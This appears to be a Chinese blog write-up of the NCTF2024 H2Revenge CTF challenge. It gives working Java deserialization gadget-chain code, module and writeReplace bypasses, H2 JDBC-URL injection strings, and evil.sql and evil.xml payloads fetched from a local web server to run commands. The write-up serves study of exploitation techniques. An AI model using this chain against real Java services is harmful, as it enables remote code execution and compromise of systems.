前言 放暑假了,来学习一下知识充充电。
环境搭建 计划从一道CTF题目来学习,题目地址:https://github.com/X1cT34m/NCTF2024
下载得到题目环境后可以使用docker启动。
H2 RCE 以前简单学习过一下 ,当时学习过的简单来说就是在JDBC驱动和连接所用URL可控的情况下发起连接会导致RCE。
攻击payload触发环境类似:
1 2 3 4 5 6 7 8 9 10 11 12 String DRIVER_CLASS = "org.h2.Driver" ;String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" + "$$\n" ;;Properties info = null ;try { Class.forName(DRIVER_CLASS); DriverManager.getDriver(JDBC_URL).connect(JDBC_URL, info); }catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); }
H2 RCE, 在Java8的环境下,常规思路是利用CREATE ALIAS创建Java函数或者是利用JavaScript引擎执行Runtime.exec等函数实现RCE。
通过JavaScript引擎 依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <dependencies > <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.30.2-GA</version > </dependency > <dependency > <groupId > com.h2database</groupId > <artifactId > h2</artifactId > <version > 2.2.224</version > </dependency > </dependencies >
触发RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void main (String[] args) { try { Class.forName("org.h2.Driver" ); DriverManager.getConnection(javaScript()); } catch (Exception e) { throw new RuntimeException (e); } }public static String javaScript () { return "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" + "$$\n" ; }
通过创建Java函数 在Java8环境下触发RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("Cmd" ); ctClass.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd /c calc.exe\");" );String cmd = java.util.Base64.getEncoder().encodeToString(ctClass.toBytecode());String url0 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER H2RCE BEFORE SELECT ON " + "INFORMATION_SCHEMA.TABLES AS $$void SHELL3() throws Exception{" + "byte[] bytes=java.util.Base64.getDecoder().decode(\"" + cmd + "\")\\;" + "java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" + "\"defineClass\", byte[].class, int.class, int.class)\\;" + "defineClassMethod.setAccessible(true)\\;" + "Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(" + "new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0, bytes.length)\\;" + "clz.newInstance()\\;}$$" ;
在Java17环境下,反射受到了module的限制,需要使用Unsafe绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 String url1 = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER H2RCE BEFORE SELECT ON " + "INFORMATION_SCHEMA.TABLES AS $$void SHELL3() throws Exception{" + "byte[] bytes\\;Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + "java.lang.reflect.Field field = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + "field.setAccessible(true)\\;sun.misc.Unsafe unsafe = (sun.misc.Unsafe)field.get(null)\\;" + "Module module = Object.class.getModule()\\;" + "long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField(\"module\"))\\;" + "unsafe.putObject(H2RCE.class, offset, module)\\;" + "bytes=java.util.Base64.getDecoder().decode(\"" + cmd + "\")\\;" + "java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" + "\"defineClass\", byte[].class, int.class, int.class)\\;" + "defineClassMethod.setAccessible(true)\\;" + "Class clz=(Class)defineClassMethod.invoke(new javax.management.loading.MLet(" + "new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0, bytes.length)\\;" + "clz.newInstance()\\;}$$" ;
当然,Java8下面没有getModule这种module专用的函数,所以java17的payload也无法在java8下面使用。
环境限制 根据参考文章,该题目环境下对这两种利用方式进行了限制:
从 Java 15 版本开始, JavaScript 引擎 (Nashorn) 已经被删除
题目给的是 JRE 17 而不是 JDK 17, 不存在 javac 命令, 无法编译 Java 代码, 也就是说无法像常规思路那样通过 CREATE ALIAS 创建 Java 函数
源码阅读 有点好奇题目的开发和部署方式,遂阅读一下题目源码,docker是直接使用的JRE镜像所以没有JDK环境,首先是MANIFEST.MF的入口配置:
1 2 Main-Class: org.springframework.boot.loader.launch.JarLauncher Start-Class: challenge.H2RevengeApplication
以Jar的方式启动SpringBoot,然后在IndexController中接受数据并反序列化:
1 2 3 4 5 6 7 8 9 10 @PostMapping({"/deserialize"}) public String deserialize (@RequestParam String data) throws Exception { byte [] buffer = Base64.getDecoder().decode(data); try (ObjectInputStream input = new ObjectInputStream (new ByteArrayInputStream (buffer))) { input.readObject(); } return "ok" ; }
存在一个MyDataSource类,其getConnection函数可以触发JDBC连接,进而触发H2 RCE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public class MyDataSource implements DataSource , Serializable { private String url; private String username; private String password; public MyDataSource (String url, String username, String password) { this .url = url; this .username = username; this .password = password; } public Connection getConnection () throws SQLException { return DriverManager.getConnection(this .url, this .username, this .password); } public Connection getConnection (String username, String password) throws SQLException { return DriverManager.getConnection(this .url, username, password); } ... }
环境限制下的H2 RCE 触发JDBC 由于最后的sink是个getter,所以还需要想想办法通过反序列化触发getter,或者是触发DataSource.getConnection函数的路径。
翻一下文件夹,在项目的lib文件夹中发现了jackson 2.18.2的依赖,通过调用jackson的POJONode类的toString函数就可以实现反序列化 + getter。
先添加一个jackson依赖:
1 2 3 4 5 6 <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.18.2</version > </dependency >
再把MyDataSource复制一份到我们的测试环境里,准备开始写序列化。
在我的测试环境Java 21中,BadAttributeValueExpException类已经发生了变化,无法再作为toString函数的触发器了:
1 2 3 4 5 6 7 8 9 10 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj instanceof String || valObj == null ) { val = (String)valObj; } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
可以使用XString或者EventListenerList来替代,这里先尝试使用参考文章给出的EventListenerList类,其反序列化函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @Serial private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { listenerList = NULL_ARRAY; s.defaultReadObject(); Object listenerTypeOrNull; while (null != (listenerTypeOrNull = s.readObject())) { ClassLoader cl = Thread.currentThread().getContextClassLoader(); EventListener l = (EventListener)s.readObject(); String name = (String) listenerTypeOrNull; ReflectUtil.checkPackageAccess(name); @SuppressWarnings("unchecked") Class<EventListener> tmp = (Class<EventListener>)Class.forName(name, true , cl); add(tmp, l); } }public synchronized <T extends EventListener > void add (Class<T> t, T l) { if (l==null ) { return ; } if (!t.isInstance(l)) { throw new IllegalArgumentException ("Listener " + l + " is not of type " + t); } ... }
注意到add函数存在隐式触发toString函数的字符串拼接操作,但是这里的对象 l 在readObject函数中将类型显式定义为了EventListener,所以要走到POJONode类的toString函数,还需要一个跳板。
找到UndoManager类,它继承自UndoableEditListener-EventListener,而且toString函数也符合要求:
1 2 3 4 5 6 public String toString () { return super .toString() + " inProgress: " + inProgress + " edits: " + edits; }
因为高版本Java的module限制问题,还需要使用Unsafe修改一下序列化数据生成类的module。
因为POJONode继承了writeReplace函数,所以序列化出来的总是ObjectNode,反序列化时就无法触发getter,而且序列化时会触发getter导致connect failed的错误,根据参考文章,可能配置好Web服务器提供SQL文件和XML文件之后会好。
先试一下,开个Tomcat然后将这两个文件放上去:
evil.sql:
1 2 3 4 5 6 7 8 9 10 CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)' ;CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])' ;CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)' ;SET @url_str = 'http://127.0.0.1:8080/evil.xml' ;SET @url_obj = UNESCAPE_VALUE(@url_str );SET @context_clazz = CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext' );SET @string_clazz = CLASS_FOR_NAME('java.lang.String' );CALL NEW_INSTANCE(@context_clazz , ARRAY [@string_clazz ], ARRAY [@url_obj ]);
evil.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0" encoding="UTF-8" ?> <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > cmd</value > <value > /c</value > <value > <![CDATA[calc.exe]]></value > </list > </constructor-arg > </bean > </beans >
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Utils.patchModule(Main.class); Utils.patchModule(Utils.class);String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8080/evil.sql'" ;MyDataSource dataSource = new MyDataSource (url, "aaa" , "bbb" );POJONode pojoNode = new POJONode (dataSource);EventListenerList eventListenerList = new EventListenerList ();UndoManager undoManager = new UndoManager ();Vector vector = (Vector)Utils.getFieldValue(undoManager, "edits" ); vector.add(pojoNode); Utils.setField(eventListenerList, "listenerList" , new Object []{InternalError.class, undoManager});byte [] bytes = Utils.serialize(eventListenerList); System.out.println(new String (bytes)); System.out.println(Base64.getEncoder().encodeToString(bytes)); Utils.unserialize(bytes);
会用到的一些工具类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 package org.example;import sun.misc.Unsafe;import sun.reflect.ReflectionFactory;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;@SuppressWarnings("rawtypes") public class Utils { public static void patchModule (Class clazz) { try { Module baseModule = Object.class.getModule(); Class<?> unSafe = Class.forName("sun.misc.Unsafe" ); Field unSafeField = unSafe.getDeclaredField("theUnsafe" ); unSafeField.setAccessible(true ); Unsafe unSafeClass = (Unsafe)unSafeField.get(null ); long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module" )); unSafeClass.getAndSetObject(clazz, addr, baseModule); }catch (Exception e){ e.printStackTrace(); } } public static Field getField (Class clazz, String name) { Field field = null ; try { field = clazz.getDeclaredField(name); }catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { field = getField(clazz.getSuperclass(), name); } } if (field != null ) { field.setAccessible(true ); } return field; } public static void setField (Object obj, String name, Object value) { Field field = getField(obj.getClass(), name); if (field != null ) { try { field.set(obj, value); }catch (Exception e) { e.printStackTrace(); } } } public static Object getFieldValue (Object obj, String name) { Field field = getField(obj.getClass(), name); Object result = null ; if (field != null ) { try { result = field.get(obj); }catch (Exception e) { } } return result; } public static Object createWithoutConstructor (String className) { Object result = null ; try { Class clazz = Class.forName(className); Constructor constructor = Object.class.getDeclaredConstructor(); constructor.setAccessible(true ); Constructor constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor); constructor1.setAccessible(true ); result = constructor1.newInstance(); }catch (Exception e) { e.printStackTrace(); } return result; } public static byte [] serialize(Object obj) { byte [] bytes = null ; try { ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(obj); bytes = bos.toByteArray(); }catch (Exception e) { e.printStackTrace(); } return bytes; } public static Object unserialize (byte [] bytes) { Object obj = null ; try { ByteArrayInputStream bis = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (bis); obj = ois.readObject(); }catch (Exception e) { e.printStackTrace(); } return obj; } }
计算器正常弹出,起码后半部分的RCE是没问题的,但是序列化时报错:
1 java.lang.IllegalArgumentException: Failed to JDK serialize `POJONode` value: Serialization failed, cause : "java.io.NotSerializableException: org.springframework.context.support.ClassPathXmlApplicationContext"
原因是序列化时会通过writeReplace函数触发getter,然后生成了一个无法序列化的ClassPathXmlApplicationContext对象。如果把getter里面的getConnection调用注释掉,序列化出来的就会是ObjectNode,反序列化时同样无法触发getter,还是得想想办法绕过它的writeReplace。
翻了一下,找到调用writeReplace函数的ObjectOutputStream类:
1 2 3 4 5 6 7 8 9 10 11 12 for (;;) { Class<?> repCl; desc = ObjectStreamClass.lookup(cl, true ); if (!desc.hasWriteReplaceMethod() || (obj = desc.invokeWriteReplace(obj)) == null || (repCl = obj.getClass()) == cl) { break ; } cl = repCl; }
ObjectStreamClass.lookup:
1 2 3 4 5 6 static ObjectStreamClass lookup (Class<?> cl, boolean all) { if (!(all || Serializable.class.isAssignableFrom(cl))) { return null ; } return Caches.localDescs.get(cl); }
hasWriteReplaceMethod:
1 2 3 4 boolean hasWriteReplaceMethod () { requireInitialized(); return (writeReplaceMethod != null ); }
理论上,如果我们通过反射修改了ObjectStreamClass.Caches.localDescs里POJONode的writeReplaceMethod信息,或许就可以绕过writeReplace函数?
试一试:
1 2 3 4 5 6 7 8 9 10 11 public static void patchWriteReplace (Class clazz) { try { Class ObjectStreamClass = Class.forName("java.io.ObjectStreamClass" ); Method lookup = ObjectStreamClass.getDeclaredMethod("lookup" , Class.class, boolean .class); lookup.setAccessible(true ); ObjectStreamClass desc = (ObjectStreamClass)lookup.invoke(null , clazz, true ); setField(desc, "writeReplaceMethod" , null ); }catch (Exception e){ e.printStackTrace(); } }
加上一行Utils.patchWriteReplace(POJONode.class)后,继续进行序列化和反序列化测试:
这下一切正常了。
H2 RCE 琢磨一下payload,根据执行顺序,首先是SQL URL:
1 jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT= 3 ;INIT= RUNSCRIPT FROM 'http://127.0.0.1:8080/evil.sql'
根据里面的init和RUNSCRIPT字符,应该是从Web服务上抓取了一个SQL脚本文件来执行:
1 2 3 4 5 6 7 8 9 10 CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)' ;CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])' ;CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)' ;SET @url_str = 'http://127.0.0.1:8080/evil.xml' ;SET @url_obj = UNESCAPE_VALUE(@url_str );SET @context_clazz = CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext' );SET @string_clazz = CLASS_FOR_NAME('java.lang.String' );CALL NEW_INSTANCE(@context_clazz , ARRAY [@string_clazz ], ARRAY [@url_obj ]);
SQL脚本主要做的就是函数调用,通过类加载和实例化的方式,触发ClassPathXmlApplicationContext类加载xml来实现RCE。
还有一点则是根据出题师傅的测试,直接将String作为参数调用newInstance会发生错误,因为SQL不像Java一样将String作为Object,所以需要先进行一次类型转换,所以师傅找到了Rdn.unescapeValue函数,该函数主要用于解码和删除一些非法字符,正常String传入之后会原封不动地String出来,只不过函数为了兼容,返回值定义的是Object,正好符合类型转换的要求,不得不说很是巧妙。
题目复现 修改一下代码里面的命令为在tmp目录下创建文件,还有IP和MyDataSource类的package,以及docker启动代码方便调试:
1 su -p ctf -c "/opt/java/openjdk/bin/java -jar /app/H2Revenge.jar > /tmp/output.log 2>&1"
漏洞利用成功:
题外话 hexo g的时候遇到了版本问题,遂更新一下hexo,参考文章 和模板问题 :
1 2 npm outdated npm update hexo-cli hexo --latest
参考 NCTF 2024 Web 出题小记
h2数据库在jdk17下的rce探索
深入解析:高版本 JRE 下 H2 RCE 绕过新思路